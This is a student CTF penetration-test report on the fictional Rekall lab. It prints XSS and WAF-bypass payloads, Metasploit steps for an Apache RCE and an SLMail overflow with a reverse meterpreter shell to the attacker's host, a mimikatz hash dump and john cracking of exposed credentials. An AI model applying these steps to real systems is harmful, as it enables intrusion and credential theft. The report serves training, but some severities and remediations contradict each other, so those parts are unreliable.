5344

| Cybersecurity |
| --- |
| Penetration Test Report |

Rekall Corporation

Penetration Test Report

**Student Note: Complete all sections highlighted in yellow.**

# 

## Confidentiality Statement

This document contains confidential and privileged information from Rekall Inc. (henceforth known as Rekall). The information contained in this document is confidential and may constitute inside or non-public information under international, federal, or state laws. Unauthorized forwarding, printing, copying, distribution, or use of such information is strictly prohibited and may be unlawful. If you are not the intended recipient, be aware that any disclosure, copying, or distribution of this document or its parts is prohibited.

Table of Contents

[Confidentiality Statement 2](#_30j0zll)

[Contact Information 4](#_1fob9te)

[Document History 4](#_3znysh7)

[Introduction 5](#_2et92p0)

[Assessment Objective 5](#_3dy6vkm)

[Penetration Testing Methodology 6](#_2s8eyo1)

[Reconnaissance 6](#_17dp8vu)

[Identification of Vulnerabilities and Services 6](#_3rdcrjn)

[Vulnerability Exploitation 6](#_26in1rg)

[Reporting 6](#_lnxbz9)

[Scope 7](#_35nkun2)

[Executive Summary of Findings 8](#_44sinio)

[Grading Methodology 8](#_z337ya)

[Summary of Strengths 9](#_3j2qqm3)

[Summary of Weaknesses 9](#_1y810tw)

[Executive Summary Narrative](#_4i7ojhp) 10

[Summary Vulnerability Overview 1](#_2xcytpi)3

Vulnerability Findings [1](#_1ci93xb)4

# 

## Contact Information

| **Company Name** | Neal LLS |
| --- | --- |
| **Contact Name** | Camron Neal |
| **Contact Title** | Penetration Tester |

## 

## Document History

| **Version** | **Date** | **Author(s)** | **Comments** |
| --- | --- | --- | --- |
| 001 | 4/22/2025 | Camron Neal | Day 1 of CTF Report |
| 002 | 4/25/2025-4/26/2025 | Camron Neal | Day 2 of CTF Report |
| 003 | 4/26/2025-4/27/2025 | Camron Neal | Day 3 of CTF Report |
| 004 | 4/28/2025 | Camron Neal | Final draft of CTF Report |

# 

## Introduction

In accordance with Rekall policies, our organization conducts external and internal penetration tests of its networks and systems throughout the year. The purpose of this engagement was to assess the networks’ and systems’ security and identify potential security flaws by utilizing industry-accepted testing methodology and best practices.

For the testing, we focused on the following:

* Attempting to determine what system-level vulnerabilities could be discovered and exploited with no prior knowledge of the environment or notification to administrators.
* Attempting to exploit vulnerabilities found and access confidential information that may be stored on systems.
* Documenting and reporting on all findings.

All tests took into consideration the actual business processes implemented by the systems and their potential threats; therefore, the results of this assessment reflect a realistic picture of the actual exposure levels to online hackers. This document contains the results of that assessment.

### Assessment Objective

The primary goal of this assessment was to provide an analysis of security flaws present in Rekall’s web applications, networks, and systems. This assessment was conducted to identify exploitable vulnerabilities and provide actionable recommendations on how to remediate the vulnerabilities to provide a greater level of security for the environment.

We used our proven vulnerability testing methodology to assess all relevant web applications, networks, and systems in scope.

Rekall has outlined the following objectives:

Table 1: Defined Objectives

| **Objective** |
| --- |
| Find and exfiltrate any sensitive information within the domain. |
| Escalate privileges. |
| Compromise several machines. |

# 

## Penetration Testing Methodology

### Reconnaissance

### 

We begin assessments by checking for any passive (open source) data that may assist the assessors with their tasks. If internal, the assessment team will perform active recon using tools such as Nmap and Bloodhound.

### Identification of Vulnerabilities and Services

We use custom, private, and public tools such as Metasploit, hashcat, and Nmap to gain perspective of the network security from a hacker’s point of view. These methods provide Rekall with an understanding of the risks that threaten its information, and also the strengths and weaknesses of the current controls protecting those systems. The results were achieved by mapping the network architecture, identifying hosts and services, enumerating network and system-level vulnerabilities, attempting to discover unexpected hosts within the environment, and eliminating false positives that might have arisen from scanning.

### Vulnerability Exploitation

Our normal process is to both manually test each identified vulnerability and use automated tools to exploit these issues. Exploitation of a vulnerability is defined as any action we perform that gives us unauthorized access to the system or the sensitive data.

### Reporting

Once exploitation is completed and the assessors have completed their objectives, or have done everything possible within the allotted time, the assessment team writes the report, which is the final deliverable to the customer.

# 

## Scope

Prior to any assessment activities, Rekall and the assessment team will identify targeted systems with a defined range or list of network IP addresses. The assessment team will work directly with the Rekall POC to determine which network ranges are in-scope for the scheduled assessment.

It is Rekall’s responsibility to ensure that IP addresses identified as in-scope are actually controlled by Rekall and are hosted in Rekall-owned facilities (i.e., are not hosted by an external organization). In-scope and excluded IP addresses and ranges are listed below.

# 

# 

## Executive Summary of Findings

## 

### Grading Methodology

Each finding was classified according to its severity, reflecting the risk each such vulnerability may pose to the business processes implemented by the application, based on the following criteria:

**Critical**: Immediate threat to key business processes.

**High**: Indirect threat to key business processes/threat to secondary business processes.

**Medium**: Indirect or partial threat to business processes.

**Low**: No direct threat exists; vulnerability may be leveraged with other vulnerabilities.

Informational: No threat; however, it is data that may be used in a future attack.

As the following grid shows, each threat is assessed in terms of both its potential impact on the business and the likelihood of exploitation:

Chart

Description automatically generated with medium confidence

### 

### Summary of Strengths

While the assessment team was successful in finding several vulnerabilities, the team also recognized several strengths within Rekall’s environment. These positives highlight the effective countermeasures and defenses that successfully prevented, detected, or denied an attack technique or tactic from occurring.

* High-level summary of strengths here
* Latest anti-malware is being kept up to date.

### Summary of Weaknesses

We successfully found several critical vulnerabilities that should be immediately addressed in order to prevent an adversary from compromising the network. These findings are not specific to a software version but are more general and systemic vulnerabilities.

* Output encoder
* HTML Sanitization
* IP Blocking
* Prevent Probes
* Update and Patch software
* Update apache struts
* User credentials being removed from websites
* Restrict public access
* Using FTPS and SFTP instead of FTP
* Close port 110
* User Permissions
* Safeguard password hashes

## Executive Summary

Neal LLS was hired to complete a vulnerability test on the system of the client Rekall to find vulnerabilities within the system and to provide an assessment of the findings.

Starting from day 1, we navigated through the Totalrekall.xyz website to complete various scripts to get around the web app. These scripts were used to bypass certain access points through the website.

Day 2, we were in Linux OS and the group exposed the Totalrekall.xyz from linux using various exploits from tools from DNS lookup and certification search to nmap scanning and different exploits to gain access to different files.

Day 3, the group exploited the system with the msf6 using the command msfconsole. This exploit had different options of exploits that you could navigate through. This exploit allowed us to view different files that have root access and see where the files are located.

With all of the tools to expose the vulnerabilities such as Metasploit, Nessus and Nmap we were able to reveal what is a risk and how it should be eliminated.

## 

## Summary Vulnerability Overview

| **Vulnerability** | **Severity** |
| --- | --- |
| Web Application Results |  |
| Flag 1 Cross Site Scripting XSS- Welcome.php | **High** |
| Flag 2 Cross Site Scripting XSS #2- VR Planner.php | **High** |
| Flag 3 XSS Stored Vulnerability Comments | **High** |
| Flag 4 Sensitive Data Vulnerability | **Low** |
| Linux Server |  |
| Flag1 Open Source Exposure Date | **Low** |
| Flag2 Pinging | **Low** |
| Flag3 SSL and CRT | **Low** |
| Flag4 Nmap Scan | **Medium** |
| Flag5 Aggressive Nmap Scan | **High** |
| Flag6 Nessus Scan | **Critical** |
| Flag7 Apache Struts | **Critical** |
|  |  |
| Windows Servers |  |
| Flag1 Unprotected User Credentials | **Low** |
| Flag2 Nmap Scan | **Medium** |
| Flag3 FTP | **Medium** |
| Flag4 SLMail | **Medium** |
| Flag5 Task Scheduler | **Medium** |
| Flag6 Password Hash- Kiwi | **Critical** |
| Flag7 Sensitive Data Exposure | **Critical** |
|  |  |

The following summary tables represent an overview of the assessment findings for this penetration test:

| **Scan Type** | **Total** |
| --- | --- |
| Hosts | Totalrekall.xyz  192.168.13.10  192.168.13.11  192.168.13.12  192.168.13.14  192.168.13.1  192.168.13.13  172.22.117.20 |
| Ports | Linux  110  4444  Windows  21  25  53  80  110 |

| **Exploitation Risk** | **Total** |
| --- | --- |
| **Critical** | 4 |
| **High** | 4 |
| **Medium** | 5 |
| **Low** | 5 |

## Vulnerability Findings Day 1

| **Vulnerability 1** | **Findings** |
| --- | --- |
| **Title** | Cross Site Scripting XSS |
| **Type (Web app / Linux OS / WIndows OS)** | Web App |
| **Risk Rating** | Critical |
| **Description** | As I navigated to the website 192.168.14.35, I went to the welcome page and in “entering your name below” I entered the reflected XSS as <script>alert(hi hacker)</script>. This script tells the browser “this is JavaScript” with a pop up message box. |
| **Images** |  |
| **Affected Hosts** | Welcome.php |
| **Remediation** | Output Encoder |

| **Vulnerability 2** | **Findings** |
| --- | --- |
| **Title** | Cross Site Scripting XSS #2 |
| **Type (Web app / Linux OS / WIndows OS)** | Web App |
| **Risk Rating** | Critical |
| **Description** | As I continued to navigate through totalrekall.xyz I went to the VR Planner page. From there I entered the script <SCRIPscriptT>alert("hi")</SCRIPscripTt>). This script can bypass the WAF(Web Application Firewalls) which tricks the web app. |
| **Images** |  |
| **Affected Hosts** | VR planner.php |
| **Remediation** | HTML Sanitization |

| **Vulnerability 3** | **Findings** |
| --- | --- |
| **Title** | XSS stored vulnerability-Comments |
| **Type (Web app / Linux OS / WIndows OS)** | Web App |
| **Risk Rating** | High |
| **Description** | As i navigated from the welcome page and clicked on Leave a comment, i used the script <script>alert(“hello”)</script) |
| **Images** |  |
| **Affected Hosts** | Totalrekall.xyz |
| **Remediation** | Keep employees updated and trained on identifying phishing emails |

| **Vulnerability 4** | **Findings** |
| --- | --- |
| **Title** | Sensitive Data Vulnerability |
| **Type (Web app / Linux OS / WIndows OS)** | Web App |
| **Risk Rating** | Low |
| **Description** | In the Linux command line I ran the command curl -v http://192.168.14.35/About-Rekall.php to allow the HTTP to request from the command, show detailed information about the connection process, and to attach the URL that's being requested. |
| **Images** |  |
| **Affected Hosts** | About-Rekall.php |
| **Remediation** | Comments in curl output cannot be removed |

## 

## Vulnerability Findings Day 2

| **Vulnerability 1** | **Findings** |
| --- | --- |
| **Title** | Open Source Exposed Data |
| **Type (Web app / Linux OS / WIndows OS)** | Web App |
| **Risk Rating** | High |
| **Description** | From the https://osintframework.com/ i navigated through Domain Name, WhoIS Records, and lastly to Domain Dossier. From there it took me to the Domain Dossier and I searched totalrekall.xyz in the domain search and I scanned through until I saw Flag 1. |
| **Images** |  |
| **Affected Hosts** | totalrekall.xyz |
| **Remediation** | Remove sensitive data from the server |

| **Vulnerability 2** | **Findings** |
| --- | --- |
| **Title** | Pinging |
| **Type (Web app / Linux OS / WIndows OS)** | Linux OS |
| **Risk Rating** | Low |
| **Description** | From Kali, I ran the command nslookup totalrekall.xyz to see the ip address of the website totalrekall.xyz. From there I ran the command nslookup -type=TXT totalrekall.xyz. This command started a DNS lookup to specifically look for TXT records on the domain totalrekall.xyz and it gave me the flag 2. |
| **Images** |  |
| **Affected Hosts** | totalrekall.xyz |
| **Remediation** | Try to hide the ip address |

| **Vulnerability 3** | **Findings** |
| --- | --- |
| **Title** | SSL and CRT |
| **Type (Web app / Linux OS / WIndows OS)** | Web App |
| **Risk Rating** | Medium |
| **Description** | I navigated to crt.sh which is an open source site. i searched totalrekall to get the criteria information and among the information i found flag 3 under Common Name and Matching Identities. |
| **Images** |  |
| **Affected Hosts** | totalrekall.xyz |
| **Remediation** | Limit the publication of the DNS records |

| **Vulnerability 4** | **Findings** |
| --- | --- |
| **Title** | Nmap Scan |
| **Type (Web app / Linux OS / WIndows OS)** | Linux OS |
| **Risk Rating** | Critical |
| **Description** | In Kali I ran a nmap scan using the command nmap -sn 192.168.13.0/24 to see a network ping scan on the targeted network range. 6 hosts were scanned so without including the host that ran the initial scan I received 5 hosts which came to be flag 4. |
| **Images** |  |
| **Affected Hosts** | 192.168.13.10, 192.168.13.11, 192.168.13.12, 192.168.13.14, 192.168.13.1 |
| **Remediation** | IP blocking for unauthorized users |

| **Vulnerability 5** | **Findings** |
| --- | --- |
| **Title** | Aggressive Nmap Scan |
| **Type (Web app / Linux OS / WIndows OS)** | Linux OS |
| **Risk Rating** | Critical |
| **Description** | I ran the command nmap -A 192.168.13.0/24 which is an aggressive scan and it obtained detailed scans of the hosts. 192.168.13.13 came back as the Drupal host which is flag 5. |
| **Images** |  |
| **Affected Hosts** | 192.168.13.13 |
| **Remediation** | Prevent Probes |

| **Vulnerability 6** | **Findings** |
| --- | --- |
| **Title** | Nessus Scan |
| **Type (Web app / Linux OS / WIndows OS)** | Web OS |
| **Risk Rating** | Medium |
| **Description** | I navigated to the website kali:8864 for a Nessus scan. I went to create a scan with a basic network scan and used 192.168.13.12 as the targeted host to look up. After the scan was complete I navigated to the vulnerabilities tab to view the server that's critical and found the ID which is flag 6. |
| **Images** |  |
| **Affected Hosts** | 192.168.13.12 |
| **Remediation** | Update and patch software on a regular basis. Always monitor for new vulnerabilities |

| **Vulnerability 7** | **Findings** |
| --- | --- |
| **Title** | Apache Struts |
| **Type (Web app / Linux OS / WIndows OS)** | Linux OS |
| **Risk Rating** | Critical |
| **Description** | In kali i ran the command msfconsole to get into msf6. Next I ran the command search apache tomcat rce to look for the exploit I needed to run. Once it ran option 6 was the exploit I needed so I ran the command use 6 and it put me into the exploit. Next I set the RHOST to 192.168.13.10. I used this ip from the aggressive nmap scan that was ran from the flag before. After setting the RHOSTS i used the command run to connect. Next I ran the command ls -l to get the list in the directory to see if I saw any indication of a flag. Next i ran the command find / -type f -iname “\*flag\*” to search the files for any files with flags in them. After successfully locating some files with flags in them I used the command cd /root to change to the root directory then I used the command cat .flag7.txt to reveal the flag. |
| **Images** |  |
| **Affected Hosts** | 192.168.13.10 |
| **Remediation** | Update apache struts |

## Vulnerability Findings Day 3

| **Vulnerability 1** | **Findings** |
| --- | --- |
| **Title** | Unprotected User Credentials |
| **Type (Web app / Linux OS / WIndows OS)** | Web App |
| **Risk Rating** | Critical |
| **Description** | First i went to the totalrekall page of github by going to <https://github.com/totalrekall/site> went under xampp.users where it shows the username and a undecoded hash text. I then downloaded that as a text file to the desktop of the VM. I turned to kali and navigated to my desktop using command cd /Desktop, performed ls to make sure the text file showed, then I used the command john xampp.users and it gave me the password Tanya4life which is Flag 1. |
| **Images** |  |
| **Affected Hosts** | TotalRekall Website |
| **Remediation** | User credential needs to be removed from the github website |

| **Vulnerability 2** | **Findings** |
| --- | --- |
| **Title** | Nmap Scan |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | Critical |
| **Description** | I ran the command nmap 172.22.117.0/24 and it gave me 172.22.117.20 for the http and https as the ports are open. I opened a browser and went to 172.22.117.20 where it prompted me to login and I used the login credentials I found from Flag 1 and it gave me Flag 2. |
| **Images** |  |
| **Affected Hosts** | 172.22.117.20 |
| **Remediation** | Restrict public access to credentials and enforce two-factor authentication |

| **Vulnerability 3** | **Findings** |
| --- | --- |
| **Title** | FTP |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | High |
| **Description** | I ran the command ftp 172.22.117.20 to connect to the ftp server, It then asked for a username and password and per the internet for the username you can use anonymous and the password you can leave blank. From there I ran the ls command to see what was listed. It shows flag3 in txt form and used the command get Flag3.txt. I then exit from the ftp server so I can use the command cat Flag3.txt to get the next flag. |
| **Images** |  |
| **Affected Hosts** | 172.22.117.20 |
| **Remediation** | Using FTPS or SFTP instead of FTP, as they offer enhanced security. FTP is susceptible to threats such as sniffing, spoofing, and brute force attacks. |

| **Vulnerability 4** | **Findings** |
| --- | --- |
| **Title** | SLMail |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | Medium |
| **Description** | I started off by running the command nmap -A 172.22.117.20 to see the open ports that can be exploited. I then found per an internet search that port 110 that's open is known as a buffer overflow vulnerability. From there I ran msfconsole to get into the metasploit framework. The next command was search slmail to bring up the exploit i will be using then I ran the command use 0 to default to windows/meterpreter/reverse\_tcp so once I'm done configuring the system I can run it into meterpreter. I then ran the options command to see what my LHOST and RHOSTS were set to the correct ip addresses. As they were both not set correctly I ran the command set LHOST 172.22.117.100 because thats the ip address of the attacking machine and ran the command set RHOSTS to 172.22.117.20 as this is the ip address of the target machine. I then ran the command run so the machine would configure and put me into the meterpreter. I then ran the command ls to see the files and the first file contained flag 4 in txt form so I ran command cat flag4.txt to see the flag inside of the file. |
| **Images** |  |
| **Affected Hosts** | 172.22.117.20 |
| **Remediation** | Close port 110 |

| **Vulnerability 5** | **Findings** |
| --- | --- |
| **Title** | Task Scheduler |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | Medium |
| **Description** | Staying in the meterpreter from flag 4 I ran the command shell to access the schtasks command. I then ran the command schtasks /query to see all the scheduled tasks. This can be used to see if malware has installed a hidden schedule task. I then ran the command schtasks /query /tn “flag5” /fo LIST /v to search for all flag 5 specifications within the scheduled tasks. From there flag5 was revealed within the comment. |
| **Images** |  |
| **Affected Hosts** | 172.22.117.20 |
| **Remediation** | Modify permissions to limit access |

| **Vulnerability 6** | **Findings** |
| --- | --- |
| **Title** | Password Hash- Kiwi |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | Critical |
| **Description** | As I continued in the meterpreter, I ran the command load kiwi to load into mimikatz. From there I ran the help command to list the commands inside of mimikatz. After reviewing and some internet search it was determined that running the command lsa\_dump\_sam is the best command as this command can see that NTLM hash is extracted from the users. After performing the command I found flag6 as the username and the NTLM hash as 50135ed3bf5e77097409e4a9aa11aa39. I opened a new terminal to create a hash.txt folder using the command touch hash.txt. I confirmed that the file was created by using the command ls. After confirming the file was created I ran the command echo flag6:50135ed3bf5e77097409e4a9aa11aa39 >> hash.txt. This command I put the text into the hash.txt file. I again confirmed that the text went into the hash.txt file by using the command cat hash.txt. And to decipher the Hash NTLM i ran the command john hash.txt –format=NT. This command deciphered the hash inside the file and the command –format=NT tells john the hash type is NTLM. And performing that command gave me flag 6 as the password. |
| **Images** |  |
| **Affected Hosts** | 172.22.117.20 |
| **Remediation** | Safeguard password hashes by storing them securely |

| **Vulnerability 7** | **Findings** |
| --- | --- |
| **Title** | Sensitive Data Exposure |
| **Type (Web app / Linux OS / WIndows OS)** | Windows OS |
| **Risk Rating** | Medium |
| **Description** | Continuing in meterpreter i ran the command search -f flag\*.txt. This command allows you to search the file system by (-f) find by filename, (flag beginning of the file name, (\*) any character that follows, (.txt) the file ending in .txt. after performing the command one of the files came back that i was looking for which was c:\Users\Public\Documents\flag7.txt. I used command cd ../(x3) to back out of the directory 3 times to send me to the root of the filesystem. I then ran the command cd :\Users\Public\Documents, ran ls to make sure i was in the correct directory, then ran cat flag7.txt to see the text inside of the file. |
| **Images** |  |
| **Affected Hosts** | 172.22.117.20 |
| **Remediation** | Enforce least privilege access and confirm file systems are clear of confidential data. |

Add any additional vulnerabilities below.

| **Vulnerability 8** | **Findings** |
| --- | --- |
| **Title** |  |
| **Type (Web app / Linux OS / WIndows OS)** |  |
| **Risk Rating** |  |
| **Description** |  |
| **Images** |  |
| **Affected Hosts** |  |
| **Remediation** |  |